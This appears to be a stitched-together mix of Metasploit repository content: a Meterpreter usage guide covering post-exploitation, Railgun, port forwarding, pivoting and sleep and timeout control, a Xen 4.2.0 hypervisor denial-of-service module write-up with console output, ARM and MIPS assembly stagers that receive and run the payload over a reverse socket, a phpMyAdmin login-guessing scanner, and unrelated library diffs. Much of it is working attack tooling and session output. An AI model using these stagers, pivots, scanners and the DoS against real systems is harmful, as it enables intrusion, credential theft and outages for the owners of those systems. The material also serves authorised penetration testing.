The ```detach``` command allows you to temporarily disconnect the Meterpreter session without
actually losing it, as the following example demonstrates:
```
meterpreter > detach
[*] 172.16.23.185 - Meterpreter session 1 closed. Reason: User exit
msf exploit(handler) > run
[*] Started HTTPS reverse handler on https://172.16.23.1:4444
[*] Starting the payload handler...
[*] https://172.16.23.1:4444 handling request from 172.16.23.185; (UUID: utvmhcay) Attaching orphaned/stageless session...
"https://172.16.23.1:4444/56uhMwqiB8B0s3WyIzN-3wEo5JA4AcwGUum6UAAWxN2MEy0-Tw8f0GH7EOK-uTte7O6WXt8y9KRTiQX88Fn0CNy5yxFMndf1NPfRXelG6se/"
[*] Meterpreter session 2 opened (172.16.23.1:4444 -> 172.16.23.185:49207) at 2016-07-11 11:38:21 -0500
meterpreter >
```
By default, the Meterpreter session will continue to reach back to you for five minutes. If it
is unable to connect back after that, it will terminate. You can extend this by setting the
```SessionCommunicationTimeout``` option to your choice. Setting this option to 0 ensures that
your session will reattach whenever the target comes back online, as long as the payload handler
is running.
## Using a Post Module
One of the best things about Meterpreter is you have access to a variety of post exploitation
modules, specifically for the multi and Windows categories. Post modules provide you with more capabilities to
collect data from the remote machine automatically. For example, you can steal passwords
from popular applications and enumerate or modify system settings.
To use a post module from the Meterpreter prompt, simply use the ```run``` command:
```
meterpreter > run post/windows/gather/checkvm
[*] Checking if WIN-6NH0Q8CJQVM is a Virtual Machine .....
[*] This is a VMware Virtual Machine
meterpreter >
```
It is also possible to run a post module via multiple Meterpreter sessions. To learn how, load
the specific post module you wish to run, and enter ```info -d``` to see the basic usage in the
documentation.
## Using the Post Exploitation API in IRB
To enter IRB, do the following at the Meterpreter prompt:
```
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>>
```
**The client object**
The client object in Meterpreter's IRB allows you control or retrieve information about the host. For example, this demonstrates how to obtain the current privilege we're running the payload as:
```ruby
>> client.sys.config.getuid
```
To explore the client object, there are a few tricks. For example, you can use the #inspect method to inspect it:
```
>> client.inspect
```
You can use the #methods method to see what methods you can use:
```
>> client.methods
```
To find the source of the method, you can use the #source_location method. For example, say I want to find the source code for the #getuid method:
```
>> client.sys.config.method(:getuid).source_location
=> ["/Users/user/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32]
```
The first element of the array is the location of the file. The second element is the line number of the method.
## Using Railgun
Railgun allows you to use the remote machine's Windows API in Ruby. For example, to create a MessageBox on the target machine, do:
```
>> client.railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK")
=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>1}
```
To learn more about using Railgun, please read this [wiki](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Railgun-for-Windows-post-exploitation).
## Routing through the portfwd command
The portfwd command allows you to talk to a remote service like it's local. For example, SMB is a
commonly targeted protocol, but by default it is blocked by a firewall. To being able to talk to
it, we can portfwd via an active session:
```
meterpreter > portfwd add -l 445 -p 445 -r 172.16.23.185
[*] Local TCP relay created: :445 <-> 172.16.23.185:445
```
And then talk to the remote SMB service like it's local:
```
msf auxiliary(smb_version) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf auxiliary(smb_version) > run
[*] 127.0.0.1:445 - Host is running Windows 7 Ultimate SP1 (build:7601) (name:WIN-6NH0Q8CJQVM) (domain:WORKGROUP)
```
## Routing through msfconsole
The route command from the msf prompt can also be used to bypass firewall like portfwd, but it also
allows you to connect to hosts on a different network through the compromised machine.
To do that, first off, look at the ifconfig/ipconfig output and determine your pivot point:
```
meterpreter > ipconfig
```
Make sure you know the subnet, netmask, and the Meterpreter/session ID. Return to the msf prompt,
and establish that route:
```
msf > route add 192.168.1.0 255.255.255.0 1
```
At that point, you should have a working pivot. You can use other Metasploit modules to explore
or exploit more hosts on the network, or use auxiliary/server/socks4a and [Proxychains](http://proxychains.sourceforge.net/) to allow
other third-party tools to do the same.
## Meterpreter Stageless Mode
A stageless Meterpreter allows a more economical way to deliver the payload, for cases where a
normal one would actually cost too much time and bandwidth in a penetration test. To learn more
about this, [click on this](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Stageless-Mode)
to read more.
To use the stageless payload, use ```windows/meterpreter_reverse_https``` instead.
## Meterpreter Sleep Control
The sleep mode allows the payload on the target machine to be quiet for awhile, mainly in order to
avoid suspicious active communication. It also provides better efficiency.
It is very simple to use. At the Meterpreter prompt, simply do:
```
meterpreter > sleep 20
```
And that will allow Meterpreter to sleep 20 seconds, and will reconnect as long as the handler
remains active (such as running as a background job).
To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Sleep-Control).
## Meterpreter Timeout Control
The timeout control basically defines the life span of Meterpreter. To configure it, use the
```set_timeouts``` command:
```
meterpreter > set_timeouts
Usage: set_timeouts [options]
Set the current timeout options.
Any or all of these can be set at once.
OPTIONS:
-c <opt> Comms timeout (seconds)
-h Help menu
-t <opt> Retry total time (seconds)
-w <opt> Retry wait time (seconds)
-x <opt> Expiration timout (seconds)
```
To see the current timeout configuration, you can use the ```get_timeouts``` command:
```
meterpreter > get_timeouts
Session Expiry : @ 2016-03-11 21:15:58
Comm Timeout : 300 seconds
Retry Total Time: 3600 seconds
Retry Wait Time : 10 seconds
```
To learn more about timeout control, please [go here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Timeout-Control).
## Meterpreter Transport Control
Transport Control allows you manage transports on the fly while the payload session is still
running. Meterpreter can automatically cycle through the transports when communication fails,
or you can do it manually.
To learn more about this, please read this [documentation](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control).
@@ -611,7 +611,8 @@ It is very simple to use. At the Meterpreter prompt, simply do:
meterpreter > sleep 20
```
And that will allow Meterpreter to sleep 20 seconds, and will reconnect.
And that will allow Meterpreter to sleep 20 seconds, and will reconnect as long as the payload
handler remains active (such as being a background job).
To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Sleep-Control).
@@ -660,6 +661,7 @@ Transport Control allows you manage transports on the fly while the payload sess
To learn more about this, please read this [documentation](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control).
## Using the Post Exploitation API in IRB
To enter IRB, do the following at the Meterpreter prompt:
@@ -0,0 +1,82 @@
This is a post exploitation module that exploits a memory corruption bug in Xen
4.2.0, causing a denial-of-service against the hypervisor from a guest VM. From
the original advisory:
> Downgrading the grant table version of a guest involves freeing its
status pages. This freeing was incomplete - the page(s) are freed back
to the allocator, but not removed from the domain's tracking
list. This would cause list corruption, eventually leading to a
hypervisor crash.
## Mechanism
This module aims to be portable by building the exploit module on the target
machine directly, building a malicious Linux Kernel Module (LKM) and inserting it
into the kernel of the paravirtualized host. It is necessary to build the
kernel module on the fly, since kernel ABIs are notoriously unstable and
unlikely to work between multiple kernel versions.
This module is tested on Debian and Ubuntu hosts running various versions of
Xen. Because the LKM is built at exploit-time, it requires that build tools and
kernel headers for the currently-running kernel to exist on the target machine.
## Example output
Failure (bad Xen version):
```
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.1
lhost => 192.168.1.1
msf exploit(handler) > run
[*] Started reverse TCP handler on 192.168.1.1:4444
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 192.168.1.1
[*] Meterpreter session 1 opened (192.168.1.1:4444 -> 192.168.1.2:43488) at 2016-07-13 00:27:31 -0500
meterpreter >
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use post/linux/dos/xen_420_dos
msf post(xen_420_dos) > set session -1
session => -1
msf post(xen_420_dos) > run
[*] Detecting requirements...
[+] Detected root privilege
[+] Detected build-essential
[+] Detected Xen
[+] Detected running Xen
[*] Xen Version: 4.6.0
[-] Sorry, wrong Xen Version
[*] Post module execution completed
```
Success:
```
msf post(xen_420_dos) > run
[*] Detecting requirements...
[+] Detected root privilege
[+] Detected build-essential
[+] Detected Xen
[+] Detected running Xen
[*] Xen Version: 4.2.0
[-] Detected correct Xen version
[*] DoS was successful!
[*] Post module execution completed
[*] 192.168.1.2 - Command shell session 1 closed. Reason: Died from EOFError
```
## Future Work
A kernel module compilation mixin that works like the Dynamic Kernel Module
Support (DKMS) framework, would be useful in order to allow other kernel-level
exploits to be built as-needed. Supporting this using the Metasploit Post
Exploitation API and supporting more Linux distributions would make similar
exploits easier to build.
+51
View File
@@ -0,0 +1,51 @@
.global _start
@ Required symbols:
@ SIZE: size of the final payload
@ ENTRY: entry point offset from the start of the process image
.text
_start:
@ mmap the space for the mettle image
mov r0, #0 @ address doesn't matter
ldr r1, =SIZE @ more than 12-bits
mov r2, #7 @ PROT_READ | PROT_WRITE | PROT_EXECUTE
mov r3, #34 @ MAP_PRIVATE | MAP_ANONYMOUS
mov r4, #0 @ no file
mov r5, #0 @ no offset
mov r7, #192 @ syscall: mmap2
svc #0
@ recv the process image
@ r12 contains our socket from the reverse stager
mov r2, r1 @ recv the whole thing (I, too, like to live dangerously)
mov r1, r0 @ move the mmap to the recv buffer
mov r0, r12 @ set the fd
mov r3, #0x100 @ MSG_WAITALL
ldr r7, =#291 @ syscall: recv
svc #0
@ set up the initial stack
@ The final stack must be aligned, so we align and then make room backwards
@ by _adding_ to sp.
and sp, #-16 @ Align
add sp, #36 + 4 @ Add room for initial stack and prog name
mov r4, #109 @ "m" (0,0,0,109)
push {r4} @ On the stack
mov r4,#2 @ ARGC
mov r5,sp @ ARGV[0] char *prog_name
mov r6,r12 @ ARGV[1] int socket fd
mov r7,#0 @ (NULL)
mov r8,#0 @ (NULL) (Ending ENV)
mov r9,#7 @ AT_BASE
mov r10,r1 @ mmap'd address
mov r11,#0 @ AT_NULL
mov r12,#0
push {r4-r12}
@ hack the planet
ldr r0, =ENTRY
add r0, r1
bx r0
+59
View File
@@ -0,0 +1,59 @@
.global __start
# Required symbols:
# SIZE: size of the final payload
# ENTRY: entry point offset from the start of the process image
.text
___start:
# mmap the space for the mettle image
move $a0, $zero # address doesn't matter
li $a1, SIZE # more than 16-bits
li $a2, 7 # PROT_READ | PROT_WRITE | PROT_EXECUTE
li $a3, 0x802 # MAP_PRIVATE | MAP_ANONYMOUS
sw $0, 16($sp) # Dumb O32 ABI
sw $0, 20($sp)
li $v0, 4090 # syscall: mmap
syscall
# recv the process image
# s2 contains our socket from the reverse stager
move $a2, $a1 # recv the whole thing (I, too, like to live dangerously)
move $a1, $v0 # move the mmap to the recv buffer
move $a0, $s2 # set the fd
li $a3, 0x100 # MSG_WAITALL
li $v0, 4175 # syscall: recv
syscall
# set up the initial stack
# The final stack must be aligned, so we align and then make room backwards
# by _adding_ to sp.
and $sp, $sp, -8 # Align
li $t4, 0x6d00006d # BE/LE anagram of "m" (109, 0)
sw $t4, 44($sp) # On the stack
# Initial program stack:
li $t5, 2 # ARGC
sw $t5, 0($sp)
addi $t6, $sp, 44 # ARGV[0] char *prog_name
sw $t6, 4($sp)
sw $s2, 8($sp) # ARGV[1] int socket fd
sw $0, 12($sp) # (NULL)
sw $0, 16($sp) # (NULL) (Ending ENV)
li $t7, 7 # AT_BASE
sw $t7, 20($sp)
sw $a1, 24($sp) # mmap'd address
li $t8, 6 # AT_PAGESZ
sw $t8, 28($sp)
li $t9, 0x1000 # 4k
sw $t9, 32($sp)
sw $0, 36($sp) # AT_NULL
sw $0, 40($sp)
# hack the planet
li $s0, ENTRY
add $s0, $s0, $a1
jr $s0
@@ -0,0 +1,158 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
class PhpMyAdmin < HTTP
DEFAULT_PORT = 4848
PRIVATE_TYPES = [ :password ]
LOGIN_STATUS = Metasploit::Model::Login::Status # shorter name
# @!attribute php_my_admin
# @return [String] cookie pma à mettre dans la prochaine requete
attr_accessor :php_my_admin
# @!attribute token
# @return [String] token requete
attr_accessor :token
# @!attribute pmaUser_1
# @return [String] pmaUser-1 cookie a mettre dans la requete
attr_accessor :pmaUser_1
# @!attribute pmaPass_1
# @return [String] pmaPass-1 cookie a mettre dans la requete
attr_accessor :pmaPass_1
# (see Base#check_setup)
def check_setup
begin
res = send_request({'uri' => uri})
return "Connection failed" if res.nil?
if !([200, 302].include?(res.code))
return "Unexpected HTTP response code #{res.code} (is this really phpMyAdmin ?)"
end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
return "Unable to connect to target"
end
true
end
# Sends a HTTP request with Rex
#
# @param (see Rex::Proto::Http::Resquest#request_raw)
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
configure_http_client(cli)
cli.connect
req = cli.request_raw(opts)
res = cli.send_recv(req)
# Found a cookie? Set it. We're going to need it.
if self.php_my_admin == '' && res && res.get_cookies =~ /(phpMyAdmin=[a-z0-9]+;)/i
self.php_my_admin = res.get_cookies.match(/ (phpMyAdmin=[a-z0-9]+;)/)[1]
end
if self.pmaPass_1 == '' && res && res.get_cookies =~ /(pmaPass-1=[a-zA-Z0-9%]+;)/i
self.pmaPass_1 = $1
end
if self.pmaUser_1 == '' && res && res.get_cookies =~ /(pmaUser-1=[a-zA-Z0-9%]+;)/i
self.pmaUser_1 = $1
end
if self.token == ''
tokens = res.body.match(/<input type="hidden" name="token" value="(\w+)"/)
self.token = (tokens.nil?) ? '' : tokens[-1]
end
res
end
# Sends a login request
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Rex::Proto::Http::Response] The HTTP auth response
def do_login(username, password)
# on recupere les cookies/token
send_request({'uri' => "#{uri}index.php"})
data = "pma_username=#{username}&"
data << "pma_password=#{password}&"
data << "token=#{self.token}"
opts = {
'uri' => "#{uri}index.php",
'method' => 'POST',
'data' => data,
'headers' => {
'Content-Type' => 'application/x-www-form-urlencoded',
'Cookie' => "#{self.pmaUser_1} #{self.php_my_admin}",
}
}
res = send_request(opts)
if is_logged_in
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => self.pmaPass_1}
end
return {:status => LOGIN_STATUS::INCORRECT, :proof => res.to_s}
end
def is_logged_in
url_verif = "#{uri}index.php?token=#{self.token}"
cookies = "#{self.pmaPass_1} #{self.pmaUser_1} #{self.php_my_admin}"
res = send_request({
'uri' => url_verif,
'headers' => {
'Content-Type' => 'application/x-www-form-urlencoded',
'Cookie' => cookies
}
})
return (res.body.include? 'Log out')
end
# Attemps to login to the server.
#
# @param [Metasploit::Framework::Credential] credential The credential information.
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
# Default Result
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
protocol: 'tcp'
}
self.php_my_admin = ''
self.pmaUser_1 = ''
self.pmaPass_1 = ''
self.token = ''
# Merge login result
begin
result_opts.merge!(do_login(credential.public, credential.private))
rescue ::Rex::ConnectionError => e
# Something went wrong during login. 'e' knows what's up.
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
end
# Return the Result object
return Result.new(result_opts)
end
end
end
end
end
@@ -1,5 +1,6 @@
require 'net/ssh'
require 'metasploit/framework/login_scanner/base'
require 'rex/socket/ssh_factory'
module Metasploit
module Framework
@@ -47,12 +48,14 @@ module Metasploit
# @note The caller *must* close {#ssh_socket}
def attempt_login(credential)
self.ssh_socket = nil
factory = Rex::Socket::SSHFactory.new(framework,framework_module, proxies)
opt_hash = {
:port => port,
:disable_agent => true,
:config => false,
:verbose => verbosity,
:proxies => proxies
:port => port,
:use_agent => false,
:config => false,
:verbose => verbosity,
:proxy => factory,
:non_interactive => true
}
case credential.private_type
when :password, nil
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.12.12"
VERSION = "4.12.15"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
@@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_armle_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.platform = 'armle/linux'
self.binary_suffix = 'lso'
end
end
end
end
@@ -0,0 +1,30 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_mipsbe_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.platform = 'mipsbe/linux'
self.binary_suffix = 'lso'
end
end
end
end
@@ -0,0 +1,30 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_mipsle_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.platform = 'mipsle/linux'
self.binary_suffix = 'lso'
end
end
end
end
@@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_x64_Mettle_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.platform = 'x64/linux'
self.binary_suffix = 'lso'
end
end
end
end
@@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_x86_Mettle_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.platform = 'x86/linux'
self.binary_suffix = 'lso'
end
end
end
end
+1 -1
View File
@@ -2,7 +2,7 @@ module Msf::DBManager::Cred
# This methods returns a list of all credentials in the database
def creds(wspace=workspace)
::ActiveRecord::Base.connection_pool.with_connection {
Mdm::Cred.includes({:service => :host}).where("hosts.workspace_id = ?", wspace.id)
Mdm::Cred.where("hosts.workspace_id = ?", wspace.id).joins(:service => :host)
}
end
+1 -1
View File
@@ -302,7 +302,7 @@ module Msf
def probe_gateway(addr)
dst_host = datastore['GATEWAY_PROBE_HOST']
dst_port = datastore['GATEWAY_PROBE_PORT'] == 0 ? rand(30000) + 1024 : datastore['GATEWAY_PROBE_PORT']
dst_port = datastore['GATEWAY_PROBE_PORT'].to_i == 0 ? rand(30000) + 1024 : datastore['GATEWAY_PROBE_PORT']
preamble = [datastore['SECRET']].pack("N")
secret = "#{preamble}#{Rex::Text.rand_text(rand(0xff)+1)}"
@@ -122,4 +122,17 @@ module Msf::Exploit::Remote::HTTP::Wordpress::URIs
normalize_uri(target_uri.path, 'xmlrpc.php')
end
# Returns the WordPress plugin installer URL
#
# @return [String] WordPress plugin installer URL
def wordpress_url_plugin_install
normalize_uri(wordpress_url_backend, 'plugin-install.php')
end
# Returns the WordPress new user URL
#
# @return [String] WordPress new user URL
def wordpress_url_new_user
normalize_uri(wordpress_url_backend, 'user-new.php')
end
end
+1
View File
@@ -42,6 +42,7 @@ require 'msf/core/exploit/ftpserver'
require 'msf/core/exploit/http/client'
require 'msf/core/exploit/http/server'
require 'msf/core/exploit/smtp'
require 'msf/core/exploit/ssh'
require 'msf/core/exploit/sunrpc'
require 'msf/core/exploit/mssql'
require 'msf/core/exploit/mssql_commands'
+1 -1
View File
@@ -169,7 +169,7 @@ module Exploit::Remote::SMB::Client::Psexec
vprint_status("Removing the service...")
svc_status = svc_client.deleteservice(svc_handle)
if svc_status == ERROR_SUCCESS
vprint_good("Successfully removed the sevice")
vprint_good("Successfully removed the service")
else
print_error("Unable to remove the service, ERROR_CODE: #{svc_status}")
end
+7
View File
@@ -0,0 +1,7 @@
module Msf
module Exploit::Remote::SSH
def ssh_socket_factory
Rex::Socket::SSHFactory.new(framework, self, datastore['Proxies'])
end
end
end
+1 -1
View File
@@ -207,7 +207,7 @@ protected
initialize_abstraction
self.lsock.extend(TcpReverseDoubleChannelExt)
self.lsock.peerinfo = @sock_inp.getpeername[1,2].map{|x| x.to_s}.join(":")
self.lsock.peerinfo = @sock_inp.getpeername_as_array[1,2].map{|x| x.to_s}.join(":")
self.lsock.localinfo = @sock_inp.getsockname[1,2].map{|x| x.to_s}.join(":")
monitor_shell_stdout
@@ -256,7 +256,7 @@ protected
initialize_abstraction
self.lsock.extend(TcpReverseDoubleSSLChannelExt)
self.lsock.peerinfo = @sock_inp.getpeername[1,2].map{|x| x.to_s}.join(":")
self.lsock.peerinfo = @sock_inp.getpeername_as_array[1,2].map{|x| x.to_s}.join(":")
self.lsock.localinfo = @sock_inp.getsockname[1,2].map{|x| x.to_s}.join(":")
monitor_shell_stdout
+6 -4
View File
@@ -28,8 +28,11 @@ class OptRegexp < OptBase
end
def normalize(value)
return nil if value.nil?
return Regexp.compile(value.to_s)
if value.nil? || value.kind_of?(Regexp)
value
else
Regexp.compile(value.to_s)
end
end
def display_value(value)
@@ -38,8 +41,7 @@ class OptRegexp < OptBase
elsif value.kind_of?(String)
return display_value(normalize(value))
end
return super
super
end
end
-232
View File
@@ -1,232 +0,0 @@
# -*- coding: binary -*-
require 'rex/socket'
# Make sure HOME is set, regardless of OS, so that File.expand_path works
# as expected with tilde characters.
ENV['HOME'] ||= ENV['HOMEPATH'] ? "#{ENV['HOMEDRIVE']}#{ENV['HOMEPATH']}" : "."
require 'logger'
require 'net/ssh/config'
require 'net/ssh/errors'
require 'net/ssh/loggable'
require 'net/ssh/transport/session'
require 'net/ssh/authentication/session'
require 'net/ssh/connection/session'
require 'net/ssh/command_stream'
require 'net/ssh/utils'
module Net
# Net::SSH is a library for interacting, programmatically, with remote
# processes via the SSH2 protocol. Sessions are always initiated via
# Net::SSH.start. From there, a program interacts with the new SSH session
# via the convenience methods on Net::SSH::Connection::Session, by opening
# and interacting with new channels (Net::SSH::Connection:Session#open_channel
# and Net::SSH::Connection::Channel), or by forwarding local and/or
# remote ports through the connection (Net::SSH::Service::Forward).
#
# The SSH protocol is very event-oriented. Requests are sent from the client
# to the server, and are answered asynchronously. This gives great flexibility
# (since clients can have multiple requests pending at a time), but it also
# adds complexity. Net::SSH tries to manage this complexity by providing
# some simpler methods of synchronous communication (see Net::SSH::Connection::Session#exec!).
#
# In general, though, and if you want to do anything more complicated than
# simply executing commands and capturing their output, you'll need to use
# channels (Net::SSH::Connection::Channel) to build state machines that are
# executed while the event loop runs (Net::SSH::Connection::Session#loop).
#
# Net::SSH::Connection::Session and Net::SSH::Connection::Channel have more
# information about this technique.
#
# = "Um, all I want to do is X, just show me how!"
#
# == X == "execute a command and capture the output"
#
# Net::SSH.start("host", "user", :password => "password") do |ssh|
# result = ssh.exec!("ls -l")
# puts result
# end
#
# == X == "forward connections on a local port to a remote host"
#
# Net::SSH.start("host", "user", :password => "password") do |ssh|
# ssh.forward.local(1234, "www.google.com", 80)
# ssh.loop { true }
# end
#
# == X == "forward connections on a remote port to the local host"
#
# Net::SSH.start("host", "user", :password => "password") do |ssh|
# ssh.forward.remote(80, "www.google.com", 1234)
# ssh.loop { true }
# end
module SSH
# This is the set of options that Net::SSH.start recognizes. See
# Net::SSH.start for a description of each option.
VALID_OPTIONS = [
:auth_methods, :compression, :compression_level, :config, :encryption,
:forward_agent, :hmac, :host_key, :kex, :keys, :key_data, :languages,
:logger, :paranoid, :password, :port, :proxy, :rekey_blocks_limit,
:rekey_limit, :rekey_packet_limit, :timeout, :verbose,
:global_known_hosts_file, :user_known_hosts_file, :host_key_alias,
:host_name, :user, :properties, :passphrase, :msframework, :msfmodule,
:record_auth_info, :skip_private_keys, :accepted_key_callback, :disable_agent,
:proxies
]
# The standard means of starting a new SSH connection. When used with a
# block, the connection will be closed when the block terminates, otherwise
# the connection will just be returned. The yielded (or returned) value
# will be an instance of Net::SSH::Connection::Session (q.v.). (See also
# Net::SSH::Connection::Channel and Net::SSH::Service::Forward.)
#
# Net::SSH.start("host", "user") do |ssh|
# ssh.exec! "cp /some/file /another/location"
# hostname = ssh.exec!("hostname")
#
# ssh.open_channel do |ch|
# ch.exec "sudo -p 'sudo password: ' ls" do |ch, success|
# abort "could not execute sudo ls" unless success
#
# ch.on_data do |ch, data|
# print data
# if data =~ /sudo password: /
# ch.send_data("password\n")
# end
# end
# end
# end
#
# ssh.loop
# end
#
# This method accepts the following options (all are optional):
#
# * :auth_methods => an array of authentication methods to try
# * :compression => the compression algorithm to use, or +true+ to use
# whatever is supported.
# * :compression_level => the compression level to use when sending data
# * :config => set to +true+ to load the default OpenSSH config files
# (~/.ssh/config, /etc/ssh_config), or to +false+ to not load them, or to
# a file-name (or array of file-names) to load those specific configuration
# files. Defaults to +true+.
# * :encryption => the encryption cipher (or ciphers) to use
# * :forward_agent => set to true if you want the SSH agent connection to
# be forwarded
# * :global_known_hosts_file => the location of the global known hosts
# file. Set to an array if you want to specify multiple global known
# hosts files. Defaults to %w(/etc/ssh/known_hosts /etc/ssh/known_hosts2).
# * :hmac => the hmac algorithm (or algorithms) to use
# * :host_key => the host key algorithm (or algorithms) to use
# * :host_key_alias => the host name to use when looking up or adding a
# host to a known_hosts dictionary file
# * :host_name => the real host name or IP to log into. This is used
# instead of the +host+ parameter, and is primarily only useful when
# specified in an SSH configuration file. It lets you specify an
# "alias", similarly to adding an entry in /etc/hosts but without needing
# to modify /etc/hosts.
# * :kex => the key exchange algorithm (or algorithms) to use
# * :keys => an array of file names of private keys to use for publickey
# and hostbased authentication
# * :key_data => an array of strings, with each element of the array being
# a raw private key in PEM format.
# * :logger => the logger instance to use when logging
# * :paranoid => either true, false, or :very, specifying how strict
# host-key verification should be
# * :passphrase => the passphrase to use when loading a private key (default
# is +nil+, for no passphrase)
# * :password => the password to use to login
# * :port => the port to use when connecting to the remote host
# * :properties => a hash of key/value pairs to add to the new connection's
# properties (see Net::SSH::Connection::Session#properties)
# * :proxy => a proxy instance (see Proxy) to use when connecting
# * :rekey_blocks_limit => the max number of blocks to process before rekeying
# * :rekey_limit => the max number of bytes to process before rekeying
# * :rekey_packet_limit => the max number of packets to process before rekeying
# * :timeout => how long to wait for the initial connection to be made
# * :user => the user name to log in as; this overrides the +user+
# parameter, and is primarily only useful when provided via an SSH
# configuration file.
# * :user_known_hosts_file => the location of the user known hosts file.
# Set to an array to specify multiple user known hosts files.
# Defaults to %w(~/.ssh/known_hosts ~/.ssh/known_hosts2).
# * :verbose => how verbose to be (Logger verbosity constants, Logger::DEBUG
# is very verbose, Logger::FATAL is all but silent). Logger::FATAL is the
# default. The symbols :debug, :info, :warn, :error, and :fatal are also
# supported and are translated to the corresponding Logger constant.
def self.start(host, user, options={}, &block)
invalid_options = options.keys - VALID_OPTIONS
if invalid_options.any?
raise ArgumentError, "invalid option(s): #{invalid_options.join(', ')}"
end
options[:user] = user if user
options = configuration_for(host, options.fetch(:config, true)).merge(options)
host = options.fetch(:host_name, host)
if !options.key?(:logger)
options[:logger] = Logger.new(STDERR)
options[:logger].level = Logger::FATAL
end
if options[:verbose]
options[:logger].level = case options[:verbose]
when Fixnum then options[:verbose]
when :debug then Logger::DEBUG
when :info then Logger::INFO
when :warn then Logger::WARN
when :error then Logger::ERROR
when :fatal then Logger::FATAL
else raise ArgumentError, "can't convert #{options[:verbose].inspect} to any of the Logger level constants"
end
end
transport = Transport::Session.new(host, options)
auth = Authentication::Session.new(transport, options)
user = options.fetch(:user, user)
if auth.authenticate("ssh-connection", user, options[:password])
connection = Connection::Session.new(transport, options)
connection.auth_info = auth.auth_info
# Tell MSF not to auto-close this socket anymore...
# This allows the transport socket to surive with the session.
if options[:msfmodule]
options[:msfmodule].remove_socket(transport.socket)
end
if block_given?
yield connection
connection.close
else
return connection
end
else
transport.close
raise AuthenticationFailed, user
end
end
# Returns a hash of the configuration options for the given host, as read
# from the SSH configuration file(s). If +use_ssh_config+ is true (the
# default), this will load configuration from both ~/.ssh/config and
# /etc/ssh_config. If +use_ssh_config+ is nil or false, nothing will be
# loaded (and an empty hash returned). Otherwise, +use_ssh_config+ may
# be a file name (or array of file names) of SSH configuration file(s)
# to read.
#
# See Net::SSH::Config for the full description of all supported options.
def self.configuration_for(host, use_ssh_config=true)
files = case use_ssh_config
when true then Net::SSH::Config.default_files
when false, nil then return {}
else Array(use_ssh_config)
end
Net::SSH::Config.for(host, files)
end
end
end
-132
View File
@@ -1,132 +0,0 @@
=== (unreleased)
* Use unbuffered reads when negotiating the protocol version [Steven Hazel]
=== 2.0.11 / 24 Feb 2009
* Add :key_data option for specifying raw private keys in PEM format [Alex Holems, Andrew Babkin]
=== 2.0.10 / 4 Feb 2009
* Added Net::SSH.configuration_for to make it easier to query the SSH configuration file(s) [Jamis Buck]
=== 2.0.9 / 1 Feb 2009
* Specifying non-nil user argument overrides user in .ssh/config [Jamis Buck]
* Ignore requests for non-existent channels (workaround ssh server bug) [Jamis Buck]
* Add terminate! method for hard shutdown scenarios [Jamis Buck]
* Revert to pre-2.0.7 key-loading behavior by default, but load private-key if public-key doesn't exist [Jamis Buck]
* Make sure :passphrase option gets passed to key manager [Bob Cotton]
=== 2.0.8 / 29 December 2008
* Fix private key change from 2.0.7 so that keys are loaded just-in-time, avoiding unecessary prompts from encrypted keys. [Jamis Buck]
=== 2.0.7 / 29 December 2008
* Make key manager use private keys instead of requiring public key to exist [arilerner@mac.com]
* Fix failing tests [arilerner@mac.com]
